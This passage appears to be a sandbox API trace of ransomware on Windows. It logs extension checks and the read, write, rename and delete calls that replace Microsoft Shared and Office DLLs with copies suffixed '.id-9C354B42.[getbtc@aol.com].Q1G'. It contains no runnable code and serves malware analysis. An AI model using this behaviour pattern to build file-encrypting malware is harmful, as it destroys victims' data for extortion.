lstrlenW (lpString=".rar") returned 4 [0057.843] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString=".bz2") returned 4 [0057.843] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString=".7z") returned 3 [0057.843] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.843] lstrlenW (lpString=".dbf") returned 4 [0057.843] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.843] lstrlenW (lpString=".1cd") returned 4 [0057.843] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0057.843] lstrlenW (lpString=".jpg") returned 4 [0057.843] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.843] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0057.844] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.844] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=3584) returned 1 [0057.844] CloseHandle (hObject=0x234) returned 1 [0057.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0057.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.845] lstrlenW (lpString=".doc") returned 4 [0057.845] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString=".docx") returned 5 [0057.845] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.845] lstrlenW (lpString=".pdf") returned 4 [0057.845] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".xls") returned 4 [0057.845] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".xlsx") returned 5 [0057.845] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.845] lstrlenW (lpString=".ppt") returned 4 [0057.845] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.845] lstrlenW (lpString=".zip") returned 4 [0057.845] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".rar") returned 4 [0057.845] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".bz2") returned 4 [0057.845] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString=".7z") returned 3 [0057.845] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.845] lstrlenW (lpString=".dbf") returned 4 [0057.845] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.845] lstrlenW (lpString=".1cd") returned 4 [0057.845] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.845] lstrlenW (lpString=".jpg") returned 4 [0057.845] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.845] lstrlenW (lpString=".doc") returned 4 [0057.845] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString=".docx") returned 5 [0057.846] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.846] lstrlenW (lpString=".pdf") returned 4 [0057.846] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".xls") returned 4 [0057.846] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".xlsx") returned 5 [0057.846] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.846] lstrlenW (lpString=".ppt") returned 4 [0057.846] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.846] lstrlenW (lpString=".zip") returned 4 [0057.846] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".rar") returned 4 [0057.846] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".bz2") returned 4 [0057.846] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString=".7z") returned 3 [0057.846] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.846] lstrlenW (lpString=".dbf") returned 4 [0057.846] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.846] lstrlenW (lpString=".1cd") returned 4 [0057.846] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0057.846] lstrlenW (lpString=".jpg") returned 4 [0057.846] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.846] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0057.846] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.147] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=4096) returned 1 [0058.147] CloseHandle (hObject=0x1a8) returned 1 [0058.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0058.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0058.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0058.148] lstrlenW (lpString=".doc") returned 4 [0058.148] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.148] lstrlenW (lpString=".docx") returned 5 [0058.148] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.148] lstrlenW (lpString=".pdf") returned 4 [0058.148] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.148] lstrlenW (lpString=".xls") returned 4 [0058.148] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.148] lstrlenW (lpString=".xlsx") returned 5 [0058.148] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.148] lstrlenW (lpString=".ppt") returned 4 [0058.148] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0058.148] lstrlenW (lpString=".zip") returned 4 [0058.148] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.148] lstrlenW (lpString=".rar") returned 4 [0058.148] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.148] lstrlenW (lpString=".bz2") returned 4 [0058.148] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.148] lstrlenW (lpString=".7z") returned 3 [0058.148] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0058.148] lstrlenW (lpString=".dbf") returned 4 [0058.148] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0058.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0058.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0058.473] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.473] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0058.473] GetLastError () returned 0x0 [0058.473] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x665a0, lpOverlapped=0x0) returned 1 [0058.482] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0058.631] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.631] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.632] SetEndOfFile (hFile=0x168) returned 1 [0058.632] CloseHandle (hObject=0x168) returned 1 [0058.632] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.632] SetEndOfFile (hFile=0x204) returned 1 [0058.636] CloseHandle (hObject=0x204) returned 1 [0058.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0058.636] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0058.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.636] lstrlenW (lpString=".doc") returned 4 [0058.636] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.636] lstrlenW (lpString=".docx") returned 5 [0058.636] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0058.636] lstrlenW (lpString=".pdf") returned 4 [0058.636] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString=".xls") returned 4 [0058.637] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString=".xlsx") returned 5 [0058.637] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0058.637] lstrlenW (lpString=".ppt") returned 4 [0058.637] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.637] lstrlenW (lpString=".zip") returned 4 [0058.637] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString=".rar") returned 4 [0058.637] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString=".bz2") returned 4 [0058.637] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.637] lstrlenW (lpString=".7z") returned 3 [0058.637] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.637] lstrlenW (lpString=".dbf") returned 4 [0058.637] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.637] lstrlenW (lpString=".1cd") returned 4 [0058.637] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.637] lstrlenW (lpString=".jpg") returned 4 [0058.637] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.637] lstrlenW (lpString=".doc") returned 4 [0058.637] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString=".docx") returned 5 [0058.637] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0058.637] lstrlenW (lpString=".pdf") returned 4 [0058.637] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString=".xls") returned 4 [0058.637] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.637] lstrlenW (lpString=".xlsx") returned 5 [0058.638] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0058.638] lstrlenW (lpString=".ppt") returned 4 [0058.638] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.638] lstrlenW (lpString=".zip") returned 4 [0058.638] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.638] lstrlenW (lpString=".rar") returned 4 [0058.638] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.638] lstrlenW (lpString=".bz2") returned 4 [0058.638] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.638] lstrlenW (lpString=".7z") returned 3 [0058.638] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.638] lstrlenW (lpString=".dbf") returned 4 [0058.638] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.638] lstrlenW (lpString=".1cd") returned 4 [0058.638] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.638] lstrlenW (lpString=".jpg") returned 4 [0058.638] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.638] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0058.638] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0058.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.639] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=198056) returned 1 [0058.639] CloseHandle (hObject=0x204) returned 1 [0058.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0058.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.639] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.639] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0058.640] GetLastError () returned 0x0 [0058.640] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x305a8, lpOverlapped=0x0) returned 1 [0058.647] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0058.650] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.650] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.650] SetEndOfFile (hFile=0x168) returned 1 [0058.650] CloseHandle (hObject=0x168) returned 1 [0058.650] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.650] SetEndOfFile (hFile=0x204) returned 1 [0058.652] CloseHandle (hObject=0x204) returned 1 [0058.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0058.653] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0058.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.653] lstrlenW (lpString=".doc") returned 4 [0058.653] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.653] lstrlenW (lpString=".docx") returned 5 [0058.653] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.653] lstrlenW (lpString=".pdf") returned 4 [0058.653] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.653] lstrlenW (lpString=".xls") returned 4 [0058.653] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.653] lstrlenW (lpString=".xlsx") returned 5 [0058.653] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.653] lstrlenW (lpString=".ppt") returned 4 [0058.653] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.653] lstrlenW (lpString=".zip") returned 4 [0058.653] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.653] lstrlenW (lpString=".rar") returned 4 [0058.653] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.653] lstrlenW (lpString=".bz2") returned 4 [0058.653] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.653] lstrlenW (lpString=".7z") returned 3 [0058.653] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.653] lstrlenW (lpString=".dbf") returned 4 [0058.653] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.653] lstrlenW (lpString=".1cd") returned 4 [0058.654] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.654] lstrlenW (lpString=".jpg") returned 4 [0058.654] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.654] lstrlenW (lpString=".doc") returned 4 [0058.654] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.654] lstrlenW (lpString=".docx") returned 5 [0058.654] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.654] lstrlenW (lpString=".pdf") returned 4 [0058.654] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.654] lstrlenW (lpString=".xls") returned 4 [0058.654] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.654] lstrlenW (lpString=".xlsx") returned 5 [0058.654] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.654] lstrlenW (lpString=".ppt") returned 4 [0058.654] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.654] lstrlenW (lpString=".zip") returned 4 [0058.654] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.654] lstrlenW (lpString=".rar") returned 4 [0058.654] 